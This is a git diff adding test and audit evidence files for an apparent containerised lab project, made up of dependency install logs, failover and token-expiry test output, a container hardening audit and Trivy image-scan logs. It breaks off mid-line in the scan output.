docker.io/library/mtusi2026lab7-app:1 done +#15 DONE 0.1s diff --git a/evidence/check.txt b/evidence/check.txt new file mode 100644 index 0000000..9a55330 --- /dev/null +++ b/evidence/check.txt @@ -0,0 +1,2 @@ +python3 scripts/check_contract.py +PASS: offline skeleton structure, local refs and Python syntax; application NOT tested. diff --git a/evidence/dependency-resolution.txt b/evidence/dependency-resolution.txt new file mode 100644 index 0000000..d51801c --- /dev/null +++ b/evidence/dependency-resolution.txt @@ -0,0 +1,45 @@ +Collecting fastapi==0.162.4 + Downloading fastapi-0.162.4-py3-none-any.whl.metadata (27 kB) +Collecting starlette==1.7.0 + Downloading starlette-1.7.0-py3-none-any.whl.metadata (6.6 kB) +Collecting opentelemetry-sdk==1.45.2 + Downloading opentelemetry_sdk-1.45.2-py3-none-any.whl.metadata (1.6 kB) +Collecting opentelemetry-exporter-otlp-proto-http==1.45.2 + Downloading opentelemetry_exporter_otlp_proto_http-1.45.2-py3-none-any.whl.metadata (3.0 kB) +Collecting anyio>=4.1.0 (from fastapi==0.162.4) + Downloading anyio-4.16.0-py3-none-any.whl.metadata (4.7 kB) +Collecting pydantic>=2.9.0 (from fastapi==0.162.4) + Downloading pydantic-2.14.3-py3-none-any.whl.metadata (141 kB) +Requirement already satisfied: typing-extensions>=4.8.0 in ./.venv/lib/python3.10/site-packages (from fastapi==0.162.4) (4.16.0) +Collecting typing-inspection>=0.4.2 (from fastapi==0.162.4) + Downloading typing_inspection-0.4.5-py3-none-any.whl.metadata (2.6 kB) +Collecting annotated-doc>=0.0.2 (from fastapi==0.162.4) + Downloading annotated_doc-0.0.6-py3-none-any.whl.metadata (6.5 kB) +Collecting opentelemetry-api>=1.44.0 (from fastapi==0.162.4) + Downloading opentelemetry_api-1.45.2-py3-none-any.whl.metadata (1.4 kB) +Collecting opentelemetry-semantic-conventions==0.66b2 (from opentelemetry-sdk==1.45.2) + Downloading opentelemetry_semantic_conventions-0.66b2-py3-none-any.whl.metadata (2.4 kB) +Collecting googleapis-common-protos~=1.52 (from opentelemetry-exporter-otlp-proto-http==1.45.2) + Downloading googleapis_common_protos-1.76.0-py3-none-any.whl.metadata (8.5 kB) +Collecting opentelemetry-exporter-http-transport==0.66b2 (from opentelemetry-exporter-http-transport[requests]==0.66b2->opentelemetry-exporter-otlp-proto-http==1.45.2) + Downloading opentelemetry_exporter_http_transport-0.66b2-py3-none-any.whl.metadata (2.3 kB) +Collecting opentelemetry-exporter-otlp-common==0.66b2 (from opentelemetry-exporter-otlp-proto-http==1.45.2) + Downloading opentelemetry_exporter_otlp_common-0.66b2-py3-none-any.whl.metadata (1.9 kB) +Collecting opentelemetry-exporter-otlp-proto-common==1.45.2 (from opentelemetry-exporter-otlp-proto-http==1.45.2) + Downloading opentelemetry_exporter_otlp_proto_common-1.45.2-py3-none-any.whl.metadata (1.8 kB) +Collecting opentelemetry-proto==1.45.2 (from opentelemetry-exporter-otlp-proto-http==1.45.2) + Downloading opentelemetry_proto-1.45.2-py3-none-any.whl.metadata (2.3 kB) +Requirement already satisfied: requests~=2.7 in ./.venv/lib/python3.10/site-packages (from opentelemetry-exporter-otlp-proto-http==1.45.2) (2.34.2) +Collecting protobuf<8.0,>=5.0 (from opentelemetry-proto==1.45.2->opentelemetry-exporter-otlp-proto-http==1.45.2) + Downloading protobuf-7.36.2-cp310-abi3-manylinux2014_x86_64.whl.metadata (595 bytes) +Collecting exceptiongroup>=1.0.2 (from anyio>=4.1.0->fastapi==0.162.4) + Using cached exceptiongroup-1.3.1-py3-none-any.whl.metadata (6.7 kB) +Requirement already satisfied: idna>=2.8 in ./.venv/lib/python3.10/site-packages (from anyio>=4.1.0->fastapi==0.162.4) (3.20) +Requirement already satisfied: charset_normalizer<4,>=2 in ./.venv/lib/python3.10/site-packages (from requests~=2.7->opentelemetry-exporter-otlp-proto-http==1.45.2) (3.5.2) +Requirement already satisfied: urllib3<3,>=1.26 in ./.venv/lib/python3.10/site-packages (from requests~=2.7->opentelemetry-exporter-otlp-proto-http==1.45.2) (2.8.0) +Requirement already satisfied: certifi>=2023.5.7 in ./.venv/lib/python3.10/site-packages (from requests~=2.7->opentelemetry-exporter-otlp-proto-http==1.45.2) (2026.10.23) +Collecting annotated-types>=0.6.0 (from pydantic>=2.9.0->fastapi==0.162.4) + Using cached annotated_types-0.8.0-py3-none-any.whl.metadata (15 kB) +Collecting pydantic-core==2.50.4 (from pydantic>=2.9.0->fastapi==0.162.4) + Downloading pydantic_core-2.50.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.metadata (6.6 kB) +Would install annotated-doc-0.0.6 annotated-types-0.8.0 anyio-4.16.0 exceptiongroup-1.3.1 fastapi-0.162.4 googleapis-common-protos-1.76.0 opentelemetry-api-1.45.2 opentelemetry-exporter-http-transport-0.66b2 opentelemetry-exporter-otlp-common-0.66b2 opentelemetry-exporter-otlp-proto-common-1.45.2 opentelemetry-exporter-otlp-proto-http-1.45.2 opentelemetry-proto-1.45.2 opentelemetry-sdk-1.45.2 opentelemetry-semantic-conventions-0.66b2 protobuf-7.36.2 pydantic-2.14.3 pydantic_core-2.50.4 starlette-1.7.0 typing-inspection-0.4.5 diff --git a/evidence/dev-install.txt b/evidence/dev-install.txt new file mode 100644 index 0000000..859c8e5 --- /dev/null +++ b/evidence/dev-install.txt @@ -0,0 +1,95 @@ +Collecting pip-audit + Using cached pip_audit-2.10.1-py3-none-any.whl (62 kB) +Collecting openapi-spec-validator==0.7.2 + Using cached openapi_spec_validator-0.7.2-py3-none-any.whl (39 kB) +Collecting jsonschema<5.0.0,>=4.18.0 + Using cached jsonschema-4.26.0-py3-none-any.whl (90 kB) +Collecting openapi-schema-validator<0.7.0,>=0.6.0 + Using cached openapi_schema_validator-0.6.3-py3-none-any.whl (8.8 kB) +Collecting jsonschema-path<0.4.0,>=0.3.1 + Using cached jsonschema_path-0.3.4-py3-none-any.whl (14 kB) +Collecting lazy-object-proxy<2.0.0,>=1.7.1 + Using cached lazy_object_proxy-1.12.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (67 kB) +Collecting pip-requirements-parser>=32.0.0 + Downloading pip_requirements_parser-32.0.1-py3-none-any.whl (35 kB) +Collecting CacheControl[filecache]>=0.13.0 + Downloading cachecontrol-0.14.4-py3-none-any.whl (22 kB) +Collecting rich>=12.4 + Downloading rich-15.0.0-py3-none-any.whl (310 kB) + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 310.7/310.7 KB 4.0 MB/s eta 0:00:00 +Collecting packaging>=23.0.0 + Using cached packaging-26.3-py3-none-any.whl (129 kB) +Collecting platformdirs>=4.2.0 + Downloading platformdirs-4.12.4-py3-none-any.whl (32 kB) +Collecting requests>=2.31.0 + Using cached requests-2.34.2-py3-none-any.whl (73 kB) +Collecting tomli>=2.2.1 + Downloading tomli-2.5.0-py3-none-any.whl (14 kB) +Collecting pip-api>=0.0.28 + Downloading pip_api-0.0.35-py3-none-any.whl (123 kB) + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 123.9/123.9 KB 9.9 MB/s eta 0:00:00 +Collecting tomli-w>=1.2.0 + Downloading tomli_w-1.2.0-py3-none-any.whl (6.7 kB) +Collecting cyclonedx-python-lib<12,>=5 + Downloading cyclonedx_python_lib-11.12.0-py3-none-any.whl (529 kB) + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 529.5/529.5 KB 7.6 MB/s eta 0:00:00 +Collecting msgpack<2.0.0,>=0.5.2 + Downloading msgpack-1.2.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (461 kB) + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 461.8/461.8 KB 21.9 MB/s eta 0:00:00 +Collecting filelock>=3.8.0 + Downloading filelock-4.1.0-py3-none-any.whl (133 kB) + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 133.0/133.0 KB 10.1 MB/s eta 0:00:00 +Collecting sortedcontainers<3.0.0,>=2.4.0 + Downloading sortedcontainers-2.4.0-py2.py3-none-any.whl (29 kB) +Collecting py-serializable<3.0.0,>=2.1.0 + Downloading py_serializable-2.2.0-py3-none-any.whl (23 kB) +Collecting typing_extensions<5.0,>=4.6 + Using cached typing_extensions-4.16.0-py3-none-any.whl (45 kB) +Collecting license-expression<31,>=30 + Downloading license_expression-30.4.4-py3-none-any.whl (120 kB) + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 120.6/120.6 KB 10.2 MB/s eta 0:00:00 +Collecting packageurl-python<2,>=0.11 + Downloading packageurl_python-0.17.6-py3-none-any.whl (36 kB) +Collecting jsonschema-specifications>=2023.03.6 + Using cached jsonschema_specifications-2025.9.1-py3-none-any.whl (18 kB) +Collecting rpds-py>=0.25.0 + Using cached rpds_py-0.30.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (390 kB) +Collecting attrs>=22.2.0 + Using cached attrs-26.1.0-py3-none-any.whl (67 kB) +Collecting referencing>=0.28.4 + Using cached referencing-0.37.0-py3-none-any.whl (26 kB) +Collecting pathable<0.5.0,>=0.4.1 + Using cached pathable-0.4.4-py3-none-any.whl (9.6 kB) +Collecting PyYAML>=5.1 + Using cached pyyaml-6.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (770 kB) +Collecting referencing>=0.28.4 + Using cached referencing-0.36.2-py3-none-any.whl (26 kB) +Collecting rfc3339-validator + Using cached rfc3339_validator-0.1.4-py2.py3-none-any.whl (3.5 kB) +Requirement already satisfied: pip in ./.venv/lib/python3.10/site-packages (from pip-api>=0.0.28->pip-audit) (22.0.2) +Collecting pyparsing + Using cached pyparsing-3.3.3-py3-none-any.whl (126 kB) +Collecting urllib3<3,>=1.26 + Using cached urllib3-2.8.0-py3-none-any.whl (135 kB) +Collecting charset_normalizer<4,>=2 + Using cached charset_normalizer-3.5.2-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (271 kB) +Collecting idna<4,>=2.5 + Using cached idna-3.20-py3-none-any.whl (69 kB) +Collecting certifi>=2023.5.7 + Using cached certifi-2026.10.23-py3-none-any.whl (135 kB) +Collecting pygments<3.0.0,>=2.13.0 + Downloading pygments-2.21.0-py3-none-any.whl (1.3 MB) + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.3/1.3 MB 26.9 MB/s eta 0:00:00 +Collecting markdown-it-py>=2.2.0 + Downloading markdown_it_py-4.3.0-py3-none-any.whl (96 kB) + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 97.0/97.0 KB 19.5 MB/s eta 0:00:00 +Collecting boolean.py>=4.0 + Downloading boolean_py-5.0-py3-none-any.whl (26 kB) +Collecting mdurl~=0.1 + Downloading mdurl-0.1.2-py3-none-any.whl (10.0 kB) +Collecting defusedxml<0.8.0,>=0.7.1 + Downloading defusedxml-0.7.1-py2.py3-none-any.whl (25 kB) +Collecting six + Using cached six-1.17.0-py2.py3-none-any.whl (11 kB) +Installing collected packages: sortedcontainers, boolean.py, urllib3, typing_extensions, tomli-w, tomli, six, rpds-py, PyYAML, pyparsing, pygments, platformdirs, pip-api, pathable, packaging, packageurl-python, msgpack, mdurl, license-expression, lazy-object-proxy, idna, filelock, defusedxml, charset_normalizer, certifi, attrs, rfc3339-validator, requests, referencing, py-serializable, pip-requirements-parser, markdown-it-py, rich, jsonschema-specifications, jsonschema-path, cyclonedx-python-lib, CacheControl, jsonschema, pip-audit, openapi-schema-validator, openapi-spec-validator +Successfully installed CacheControl-0.14.4 PyYAML-6.0.3 attrs-26.1.0 boolean.py-5.0 certifi-2026.10.23 charset_normalizer-3.5.2 cyclonedx-python-lib-11.12.0 defusedxml-0.7.1 filelock-4.1.0 idna-3.20 jsonschema-4.26.0 jsonschema-path-0.3.4 jsonschema-specifications-2025.9.1 lazy-object-proxy-1.12.0 license-expression-30.4.4 markdown-it-py-4.3.0 mdurl-0.1.2 msgpack-1.2.4 openapi-schema-validator-0.6.3 openapi-spec-validator-0.7.2 packageurl-python-0.17.6 packaging-26.3 pathable-0.4.4 pip-api-0.0.35 pip-audit-2.10.1 pip-requirements-parser-32.0.1 platformdirs-4.12.4 py-serializable-2.2.0 pygments-2.21.0 pyparsing-3.3.3 referencing-0.36.2 requests-2.34.2 rfc3339-validator-0.1.4 rich-15.0.0 rpds-py-0.30.0 six-1.17.0 sortedcontainers-2.4.0 tomli-2.5.0 tomli-w-1.2.0 typing_extensions-4.16.0 urllib3-2.8.0 diff --git a/evidence/expiry.txt b/evidence/expiry.txt new file mode 100644 index 0000000..09eecc3 --- /dev/null +++ b/evidence/expiry.txt @@ -0,0 +1,19 @@ + Container mtusi2026lab7-api-1 Recreate + Container mtusi2026lab7-api-2 Recreate + Container mtusi2026lab7-api-2 Recreated + Container mtusi2026lab7-api-1 Recreated + Container mtusi2026lab7-api-2 Starting + Container mtusi2026lab7-api-2 Started + Container mtusi2026lab7-api-1 Starting + Container mtusi2026lab7-api-1 Started +Ready aliases: 696b32c2e7554aa48c789ec209976a1a, bcd2b9938d52481cb0537bd8e0019490 +PASS 2s TTL: immediate 200, after 2.5s 401 + Container mtusi2026lab7-api-2 Recreate + Container mtusi2026lab7-api-1 Recreate + Container mtusi2026lab7-api-1 Recreated + Container mtusi2026lab7-api-2 Recreated + Container mtusi2026lab7-api-1 Starting + Container mtusi2026lab7-api-1 Started + Container mtusi2026lab7-api-2 Starting + Container mtusi2026lab7-api-2 Started +Ready aliases: 38963554fb3b480fac15a5e23277b7a5, e10b401c2ae5431bb2d3568170acf672 diff --git a/evidence/failover-1.txt b/evidence/failover-1.txt new file mode 100644 index 0000000..48fa8f1 --- /dev/null +++ b/evidence/failover-1.txt @@ -0,0 +1,4 @@ +python3 tests/resilience.py --mode failover --action-script "scripts/stop-one.sh" --base-url "https://localhost:8443" --ca-file "/home/kitsune/visotka/mtusi2026lab7/secrets/authority/ca.crt" +Executing explicit failover hook; hook output suppressed to avoid leaking secrets. +{"observed_instances_before": 2, "successful_writes": 112, "failed_attempts": 3, "first_recovery_seconds": 2.195} +PASS: failover preserved confirmed data and existing session. Hook scope needs operator evidence. diff --git a/evidence/failover-2.txt b/evidence/failover-2.txt new file mode 100644 index 0000000..5fa00bd --- /dev/null +++ b/evidence/failover-2.txt @@ -0,0 +1,4 @@ +python3 tests/resilience.py --mode failover --action-script "scripts/stop-one.sh" --base-url "https://localhost:8443" --ca-file "/home/kitsune/visotka/mtusi2026lab7/secrets/authority/ca.crt" +Executing explicit failover hook; hook output suppressed to avoid leaking secrets. +{"observed_instances_before": 2, "successful_writes": 118, "failed_attempts": 3, "first_recovery_seconds": 1.693} +PASS: failover preserved confirmed data and existing session. Hook scope needs operator evidence. diff --git a/evidence/failover-hook.txt b/evidence/failover-hook.txt new file mode 100644 index 0000000..f4f4dd1 --- /dev/null +++ b/evidence/failover-hook.txt @@ -0,0 +1,2 @@ +Stopped API alias a9fd716ce8464ea0af3a67148775bbf7, container 9792ebd54f3e +Stopped API alias f446917bb4a845148d6ba5264c345fc4, container 9d577512c2b2 diff --git a/evidence/hardening.txt b/evidence/hardening.txt new file mode 100644 index 0000000..8d717fe --- /dev/null +++ b/evidence/hardening.txt @@ -0,0 +1,21 @@ +{"service": "api", "user": "10001:10001", "cpu": 1.0, "memory_mib": 512, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "api", "user": "10001:10001", "cpu": 1.0, "memory_mib": 512, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "broker", "user": "99:99", "cpu": 0.5, "memory_mib": 96, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "collector", "user": "99:99", "cpu": 0.5, "memory_mib": 96, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "db", "user": "entrypoint default", "cpu": 1.0, "memory_mib": 512, "pids": 96, "added_caps": ["CHOWN", "DAC_OVERRIDE", "FOWNER", "SETUID", "SETGID"], "rootfs_read_only": true} +{"service": "dispatcher", "user": "10001:10001", "cpu": 0.5, "memory_mib": 256, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "grafana", "user": "472", "cpu": 0.5, "memory_mib": 512, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "lb", "user": "99:99", "cpu": 0.5, "memory_mib": 96, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "logs", "user": "10001", "cpu": 0.5, "memory_mib": 384, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "loki", "user": "99:99", "cpu": 0.5, "memory_mib": 96, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "metrics", "user": "nobody", "cpu": 0.5, "memory_mib": 256, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "openbao", "user": "100:1000", "cpu": 0.5, "memory_mib": 256, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "otel", "user": "10001:10001", "cpu": 0.5, "memory_mib": 256, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "prometheus", "user": "99:99", "cpu": 0.5, "memory_mib": 96, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "reconciler", "user": "10001:10001", "cpu": 0.5, "memory_mib": 256, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "s3", "user": "10001:10001", "cpu": 1.0, "memory_mib": 512, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "streams", "user": "999:999", "cpu": 0.5, "memory_mib": 256, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "tempo", "user": "99:99", "cpu": 0.5, "memory_mib": 96, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "traces", "user": "10001:10001", "cpu": 1.0, "memory_mib": 512, "pids": 96, "added_caps": [], "rootfs_read_only": true} +{"service": "worker", "user": "10001:10001", "cpu": 1.0, "memory_mib": 768, "pids": 96, "added_caps": [], "rootfs_read_only": true} +PASS all running services audited, only TLS loopback ports {"grafana": ["3007"], "lb": ["8443"], "openbao": ["8207"]} diff --git a/evidence/http-security.txt b/evidence/http-security.txt new file mode 100644 index 0000000..3737dc6 --- /dev/null +++ b/evidence/http-security.txt @@ -0,0 +1,4 @@ +PASS outsider metadata/content/link 404; forged ID ignored; revoked token 401 +PASS upload bytes/MIME/filename and JSON streaming limit +PASS ingress rejects hostname mismatch on reachable listener +PASS old Argon2id rehashed after login; DB stores SHA-256 of 256-bit bearer diff --git a/evidence/image-rescan-app.txt b/evidence/image-rescan-app.txt new file mode 100644 index 0000000..0cce171 --- /dev/null +++ b/evidence/image-rescan-app.txt @@ -0,0 +1,15 @@ +Scanning app mtusi2026lab7-app:1 +2026-11-11T10:02:57Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T10:02:58Z INFO [python] Licenses acquired from one or more METADATA files may be subject to additional terms. Use `--debug` flag to see all affected packages. +2026-11-11T10:02:58Z INFO Detected OS family="debian" version="12.11" +2026-11-11T10:02:58Z INFO [debian] Detecting vulnerabilities... os_version="12" pkg_num=105 +2026-11-11T10:02:58Z INFO Number of language-specific files num=1 +2026-11-11T10:02:58Z INFO [python-pkg] Detecting vulnerabilities... +2026-11-11T10:02:58Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. +2026-11-11T10:02:58Z INFO Table result includes only package filenames. Use '--format json' option to get the full path to the package file. + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + diff --git a/evidence/image-rescan-base.txt b/evidence/image-rescan-base.txt new file mode 100644 index 0000000..f550074 --- /dev/null +++ b/evidence/image-rescan-base.txt @@ -0,0 +1,25 @@ +Scanning bao openbao/openbao:2.7.2 +2026-11-11T09:44:53Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:44:53Z INFO Detected OS family="alpine" version="3.24.3" +2026-11-11T09:44:53Z WARN This OS version is not on the EOL list family="alpine" version="3.24" +2026-11-11T09:44:53Z INFO [alpine] Detecting vulnerabilities... os_version="3.24" repository="3.24" pkg_num=28 +2026-11-11T09:44:53Z INFO Number of language-specific files num=1 +2026-11-11T09:44:53Z INFO [gobinary] Detecting vulnerabilities... +2026-11-11T09:44:53Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + +Scanning minio cgr.dev/chainguard/minio@sha256:616286de6ef3a1892876b126e745e152d8e03add6357203f8a1f854bdd1dce76 +2026-11-11T09:44:55Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:44:56Z INFO Detected OS family="wolfi" version="20230201" +2026-11-11T09:44:56Z INFO [wolfi] Detecting vulnerabilities... pkg_num=23 +2026-11-11T09:44:56Z INFO Number of language-specific files num=0 + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + diff --git a/evidence/image-scan-run.txt b/evidence/image-scan-run.txt new file mode 100644 index 0000000..f871e00 --- /dev/null +++ b/evidence/image-scan-run.txt @@ -0,0 +1,150 @@ +Scanning app mtusi2026lab7-app:1 +2026-11-11T09:34:34Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:34:35Z INFO [python] Licenses acquired from one or more METADATA files may be subject to additional terms. Use `--debug` flag to see all affected packages. +2026-11-11T09:34:35Z INFO Detected OS family="debian" version="12.11" +2026-11-11T09:34:35Z INFO [debian] Detecting vulnerabilities... os_version="12" pkg_num=105 +2026-11-11T09:34:35Z INFO Number of language-specific files num=1 +2026-11-11T09:34:35Z INFO [python-pkg] Detecting vulnerabilities... +2026-11-11T09:34:35Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. +2026-11-11T09:34:35Z INFO Table result includes only package filenames. Use '--format json' option to get the full path to the package file. + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + +Scanning db postgres:16.9-bookworm +2026-11-11T09:34:51Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:34:52Z INFO Detected OS family="debian" version="12.11" +2026-11-11T09:34:52Z INFO [debian] Detecting vulnerabilities... os_version="12" pkg_num=147 +2026-11-11T09:34:52Z INFO Number of language-specific files num=1 +2026-11-11T09:34:52Z INFO [gobinary] Detecting vulnerabilities... +2026-11-11T09:34:52Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + +Scanning redis redis:7.4.3-bookworm +2026-11-11T09:34:55Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:34:55Z INFO Detected OS family="debian" version="12.11" +2026-11-11T09:34:55Z INFO [debian] Detecting vulnerabilities... os_version="12" pkg_num=89 +2026-11-11T09:34:55Z INFO Number of language-specific files num=1 +2026-11-11T09:34:55Z INFO [gobinary] Detecting vulnerabilities... +2026-11-11T09:34:55Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. +Scanning gateway haproxy:3.0.11-bookworm +2026-11-11T09:35:01Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:35:01Z INFO Detected OS family="debian" version="12.11" +2026-11-11T09:35:01Z INFO [debian] Detecting vulnerabilities... os_version="12" pkg_num=92 +2026-11-11T09:35:01Z INFO Number of language-specific files num=0 +2026-11-11T09:35:01Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + +Scanning bao openbao/openbao:2.4.4 +2026-11-11T09:35:04Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:35:05Z INFO Detected OS family="alpine" version="3.22.2" +2026-11-11T09:35:05Z INFO [alpine] Detecting vulnerabilities... os_version="3.22" repository="3.22" pkg_num=24 +2026-11-11T09:35:05Z INFO Number of language-specific files num=1 +2026-11-11T09:35:05Z INFO [gobinary] Detecting vulnerabilities... +2026-11-11T09:35:05Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + +Scanning minio mtusi2026lab7-minio:2025-04-22 +2026-11-11T09:35:11Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:35:11Z INFO Detected OS family="debian" version="12.11" +2026-11-11T09:35:11Z INFO [debian] Detecting vulnerabilities... os_version="12" pkg_num=105 +2026-11-11T09:35:11Z INFO Number of language-specific files num=2 +2026-11-11T09:35:11Z INFO [gobinary] Detecting vulnerabilities... +2026-11-11T09:35:11Z INFO [python-pkg] Detecting vulnerabilities... +2026-11-11T09:35:11Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + +Scanning mc mtusi2026lab7-mc:2025-04-16 +2026-11-11T09:35:13Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:35:14Z INFO Detected OS family="debian" version="12.11" +2026-11-11T09:35:14Z INFO [debian] Detecting vulnerabilities... os_version="12" pkg_num=105 +2026-11-11T09:35:14Z INFO Number of language-specific files num=2 +2026-11-11T09:35:14Z INFO [gobinary] Detecting vulnerabilities... +2026-11-11T09:35:14Z INFO [python-pkg] Detecting vulnerabilities... +2026-11-11T09:35:14Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + +Scanning collector otel/opentelemetry-collector-contrib:0.123.0 +2026-11-11T09:35:23Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:35:24Z INFO Number of language-specific files num=1 +2026-11-11T09:35:24Z INFO [gobinary] Detecting vulnerabilities... +2026-11-11T09:35:24Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + +Scanning prometheus prom/prometheus:v3.2.1 +2026-11-11T09:35:28Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:35:29Z INFO Number of language-specific files num=2 +2026-11-11T09:35:29Z INFO [gobinary] Detecting vulnerabilities... +2026-11-11T09:35:29Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + +Scanning loki grafana/loki:3.4.2 +2026-11-11T09:35:34Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:35:34Z INFO Detected OS family="debian" version="12.9" +2026-11-11T09:35:34Z INFO [debian] Detecting vulnerabilities... os_version="12" pkg_num=3 +2026-11-11T09:35:34Z INFO Number of language-specific files num=1 +2026-11-11T09:35:34Z INFO [gobinary] Detecting vulnerabilities... +2026-11-11T09:35:34Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + +Scanning tempo grafana/tempo:2.7.2 +2026-11-11T09:35:36Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:35:36Z INFO Detected OS family="alpine" version="3.21.3" +2026-11-11T09:35:36Z INFO [alpine] Detecting vulnerabilities... os_version="3.21" repository="3.21" pkg_num=16 +2026-11-11T09:35:36Z INFO Number of language-specific files num=1 +2026-11-11T09:35:36Z INFO [gobinary] Detecting vulnerabilities... +2026-11-11T09:35:36Z WARN Using severities from other vendors for some vulnerabilities. Read https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + +Scanning grafana grafana/grafana:11.6.0-ubuntu +2026-11-11T09:35:53Z INFO [vuln] Vulnerability scanning is enabled +2026-11-11T09:35:54Z INFO Detected OS family="ubuntu" version="22.04" +2026-11-11T09:35:54Z INFO [ubuntu] Detecting vulnerabilities... os_version="22.04" pkg_num=118 +2026-11-11T09:35:54Z INFO Number of language-specific files num=4 +2026-11-11T09:35:54Z INFO [gobinary] Detecting vulnerabilities... +2026-11-11T09:35:54Z INFO [node-pkg] Detecting vulnerabilities... +2026-11-11T09:35:54Z WARN Using severities from other vendors for some vulnerabilities. Read 